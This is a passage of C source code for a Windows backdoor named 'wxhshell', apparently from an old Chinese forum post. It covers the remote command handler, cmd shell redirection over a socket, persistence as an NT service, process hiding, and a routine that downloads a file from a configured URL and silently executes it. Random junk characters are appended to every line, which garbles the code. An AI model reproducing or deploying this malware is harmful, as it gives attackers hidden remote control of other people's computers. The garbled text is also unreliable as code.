    switch(cmd[0]) { %G&v@R  
  /km3L7L%R  
  // 帮助 A~>=l=  
  case '?': { A%O#S<sa  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jY.%~Y1y  
    break; 5b'S~Qj#r$  
  } 3Cl9,Z"&6$  
  // 安装 d!:SoZ  
  case 'i': { q}i87a;m  
    if(Install()) l:"*]m7o_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); n58jB:XR(  
    else I2T2'_I  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {;/o4[jlg  
    break; g-}sVvM  
    } Zv\b`Cf}  
  // 卸载 -*2X YTe  
  case 'r': { J;`~ !g  
    if(Uninstall()) zJ`(LnV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WXU6 J?tIm  
    else IycxRig  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eV0S:mit  
    break; h)vTu%J:  
    } O2dgdtm  
  // 显示 wxhshell 所在路径 R.T-Ptene  
  case 'p': { WRyLpTr-  
    char svExeFile[MAX_PATH]; $H}Mn"G  
    strcpy(svExeFile,"\n\r"); #^ #i]{g  
      strcat(svExeFile,ExeFile); B;r$( 'UZ  
        send(wsh,svExeFile,strlen(svExeFile),0); ={ '($t%|T  
    break; BkfBFUDQ  
    } qS|VUy4  
  // 重启 9A(K_d-!H  
  case 'b': { pQ{t< >  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *Mc\7D  
    if(Boot(REBOOT)) ,?6m"ov4(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {;DZ@2|  
    else { y3]"H(  
    closesocket(wsh); pNFIO t:(  
    ExitThread(0); 8v 1%H8  
    } x^2/jUc#B  
    break; ?/MXcI(  
    } #.YcIR)  
  // 关机 66^t[[  
  case 'd': {  eb@Lh!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); J)|K/W9  
    if(Boot(SHUTDOWN)) 0 _}89:-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D  .R  
    else { [frD L)  
    closesocket(wsh); i6 ?JX@I  
    ExitThread(0); /exl9Ilt]  
    } RsfT Ub)<  
    break; em!R9J.  
    } g GT,PP(k  
  // 获取shell m (:qZW  
  case 's': { !bQ &n  
    CmdShell(wsh); WC*:\:mh  
    closesocket(wsh); 'TsZuZW]  
    ExitThread(0); Q8cPKDB  
    break; +STzG /9#  
  } d|+jCTKS  
  // 退出 x>" JWD  
  case 'x': { ]u ~Fn2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $!!=fFX*y  
    CloseIt(wsh); v^_]W3K  
    break; b\m( 0/x  
    } ,<r3Z$G  
  // 离开 +u:O AsR  
  case 'q': { <?Izfl6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ND1%s &  
    closesocket(wsh); @/NZ>.  
    WSACleanup(); k:)u7A+  
    exit(1); <?7,`P:h[  
    break; =1OAy`8  
        } gJ8 c]2c  
  } 7"NJraQ6  
  } u4M2Ec  
R6Z}/m  
  // 提示信息 eEGcio}_I9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [pFu ] ^X  
} #33RhJu5,  
  } 4yZ+,hqJ<9  
[d~bZS|(T(  
  return; 9`n) "r  
} {2gd4[:  
nC.2./OwMf  
// shell模块句柄 +ls*//R  
int CmdShell(SOCKET sock) yO,`"Dc_0  
{ Sc$8tLDLj  
STARTUPINFO si; ig _<kj;Vd  
ZeroMemory(&si,sizeof(si)); H?(SSL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {AL9o2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -YjgS/g  
PROCESS_INFORMATION ProcessInfo; .A!0.M|  
char cmdline[]="cmd"; :htq%gPex9  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); V52C,]qQH  
  return 0; e=jT]i*cU  
} i@R$g~~-D  
>"<k8wn  
// 自身启动模式 ;, v L  
int StartFromService(void) &<|-> *v  
{ L8]{B  
typedef struct [+MX$y  
{ G!VF*yW8  
  DWORD ExitStatus; 8u'O` j  
  DWORD PebBaseAddress; $FusDdCv3  
  DWORD AffinityMask; d:<H?~  
  DWORD BasePriority; jy(+ 0F  
  ULONG UniqueProcessId; ,WB_C\.#XN  
  ULONG InheritedFromUniqueProcessId; 7}cDGdr  
}   PROCESS_BASIC_INFORMATION; [&pW&>p3  
Jg|cvu-+  
PROCNTQSIP NtQueryInformationProcess; z(` }:t  
z1'FmwT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z'oiyXEE3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4`U0">gY  
ImV]}M~_  
  HANDLE             hProcess; A6NxM8ybn+  
  PROCESS_BASIC_INFORMATION pbi; ;w6fM  
(e8G (  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %`?;V;{=  
  if(NULL == hInst ) return 0; M,t*nG  
^K.u ~p   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); &`yOIX-H_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W[>iJJwz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5Z9~ &U  
)jlP cO-  
  if (!NtQueryInformationProcess) return 0; @ 2!C^}d3F  
sCF40AoY&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;;?vgrz  
  if(!hProcess) return 0; .5Knbc  
7k] RO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4N~+G `  
ss`P QN  
  CloseHandle(hProcess); \6lh `U  
Gg9VS&VI  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V\6(d  
if(hProcess==NULL) return 0; ;NH~9# t:  
}qiF^D}  
HMODULE hMod; LZM,QQ  
char procName[255]; .73zik   
unsigned long cbNeeded; g@@&sB-A"  
T~%H%O(F  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 20UqJM8 Ot  
mG831v?  
  CloseHandle(hProcess); K DYYB6|  
u R\m`  
if(strstr(procName,"services")) return 1; // 以服务启动 E &7@#'l  
M%$ DT  
  return 0; // 注册表启动 'lhP!E_)q  
}  9<|m4  
'aD6>8/Hj  
// 主模块 1$$37?FE  
int StartWxhshell(LPSTR lpCmdLine) _i3i HR?  
{ d/XlV]#2x\  
  SOCKET wsl; 9W*.lf  
BOOL val=TRUE; d5DP^u  
  int port=0; i`prv&  
  struct sockaddr_in door; |9>*$Fe"  
`gBD_0<T7  
  if(wscfg.ws_autoins) Install(); h|bqyu  
[6D>f?z  
port=atoi(lpCmdLine); ,e9CJ~a  
+}Xr1fr{jw  
if(port<=0) port=wscfg.ws_port; u]HS(B,ht  
)`w=qCn1Y  
  WSADATA data; GDF{Lf)/v  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZjqA30!  
KNy`Lj)VPY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f1A_`$>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xE%O:a?S  
  door.sin_family = AF_INET; RCzV5g  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); FbveI4  
  door.sin_port = htons(port); lDo(@nM  
],n%Xp  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mA& =q_gS  
closesocket(wsl); < CDA"  
return 1; X E 9)c   
} Q6=MS>JW]w  
o]A XT8  
  if(listen(wsl,2) == INVALID_SOCKET) { [*<.?9n)or  
closesocket(wsl); XdpF&B&K7Q  
return 1; UxyY<H~Wx  
} N/K=Ygv.  
  Wxhshell(wsl); Vt'L1Wr0v  
  WSACleanup(); =yo{[&Jz  
3 4SA~5  
return 0; ?0{yq>fTu  
u+i(";\  
} >9=:sSQu  
|H 8^  
// 以NT服务方式启动 gQy~kctQ#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D}w<84qX  
{ m4@MxQm  
DWORD   status = 0; P*YK9Hl<  
  DWORD   specificError = 0xfffffff; Ox^:)ii  
2JVxzj<~`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c5("-xB  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3qtr9NI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UFe(4]^  
  serviceStatus.dwWin32ExitCode     = 0; ;|<(9u`  
  serviceStatus.dwServiceSpecificExitCode = 0; B oqJ   
  serviceStatus.dwCheckPoint       = 0; g`n;R  
  serviceStatus.dwWaitHint       = 0; %(`#A.yaE  
gz;&u)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :6Pnie  
  if (hServiceStatusHandle==0) return; j$vK<SF  
0z7L+2#b^  
status = GetLastError(); cD2+hp|9  
  if (status!=NO_ERROR) ]9*;;4M g  
{ 7d ;pvhnH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NG" yPn  
    serviceStatus.dwCheckPoint       = 0; !,Nwts>m  
    serviceStatus.dwWaitHint       = 0; 1CkdpYjsj  
    serviceStatus.dwWin32ExitCode     = status; "~/9F  
    serviceStatus.dwServiceSpecificExitCode = specificError; K'aWCscM  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WhFS2Jl0  
    return; ,."b3wR[w  
  } _y vLu j  
, ECLqs%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (#|{%4g@>  
  serviceStatus.dwCheckPoint       = 0; J-V49X#  
  serviceStatus.dwWaitHint       = 0; /syVGmS'M  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X3wX`V}  
} DI1(`y  
%WGuy@tL  
// 处理NT服务事件,比如:启动、停止 nWJ:=JQ i"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dlDki.  
{ zN{JJ3-  
switch(fdwControl) KKEN'-3  
{ 9JshMo  
case SERVICE_CONTROL_STOP: -.iNNM&a  
  serviceStatus.dwWin32ExitCode = 0; +th%enRB  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; he$XLTmr:  
  serviceStatus.dwCheckPoint   = 0; r?A|d.Tl  
  serviceStatus.dwWaitHint     = 0; ?WpenUWk  
  { J!TBREK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {v` 2sB  
  } T6M+|"92  
  return; TWd;EnNM  
case SERVICE_CONTROL_PAUSE: #yW\5)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3s*(uS(  
  break; 0Fw6Dq<8-!  
case SERVICE_CONTROL_CONTINUE: + G;LX'B  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; (GcT(~Gq)D  
  break; iqwkARG"  
case SERVICE_CONTROL_INTERROGATE: 'dJ/RJ~  
  break; *7$P]  
}; L]d-33.c!H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7&B$HZ  
} _&#S@aGw  
j_cs;G: "  
// 标准应用程序主函数 ymN!-x8q>'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (Yb[)m>fQ}  
{ VDbI-P&c  
=ll=)"O  
// 获取操作系统版本 v [njdP  
OsIsNt=GetOsVer(); p'94SXO_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 57,dw-|xi  
EME.h&A\G`  
  // 从命令行安装 > \Sr{p5KR  
  if(strpbrk(lpCmdLine,"iI")) Install(); j&R+2%  
'%saL>0  
  // 下载执行文件 1.U`D\7mb  
if(wscfg.ws_downexe) { ^U[D4UM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^aZAw%K  
  WinExec(wscfg.ws_filenam,SW_HIDE); Vz=auM1xZ  
} #Q"O4 b:8  
(C;I*cv  
if(!OsIsNt) { ^:=f^N=^  
// 如果时win9x,隐藏进程并且设置为注册表启动 28.~iw  
HideProc(); *QGm/ /b  
StartWxhshell(lpCmdLine); m Lk(y*  
} |JF@6  
else l fZ04M{2  
  if(StartFromService()) M~Ttb29{  
  // 以服务方式启动 'x"08v$  
  StartServiceCtrlDispatcher(DispatchTable); ^wb:C[r!V  
else _~u2: yl (  
  // 普通方式启动 5ExDB6Bx@y  
  StartWxhshell(lpCmdLine); {'En\e  
Z3TS,a1I4  
return 0; p>vU?eF  
}
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只看该作者 1 发表于: 2006-10-10
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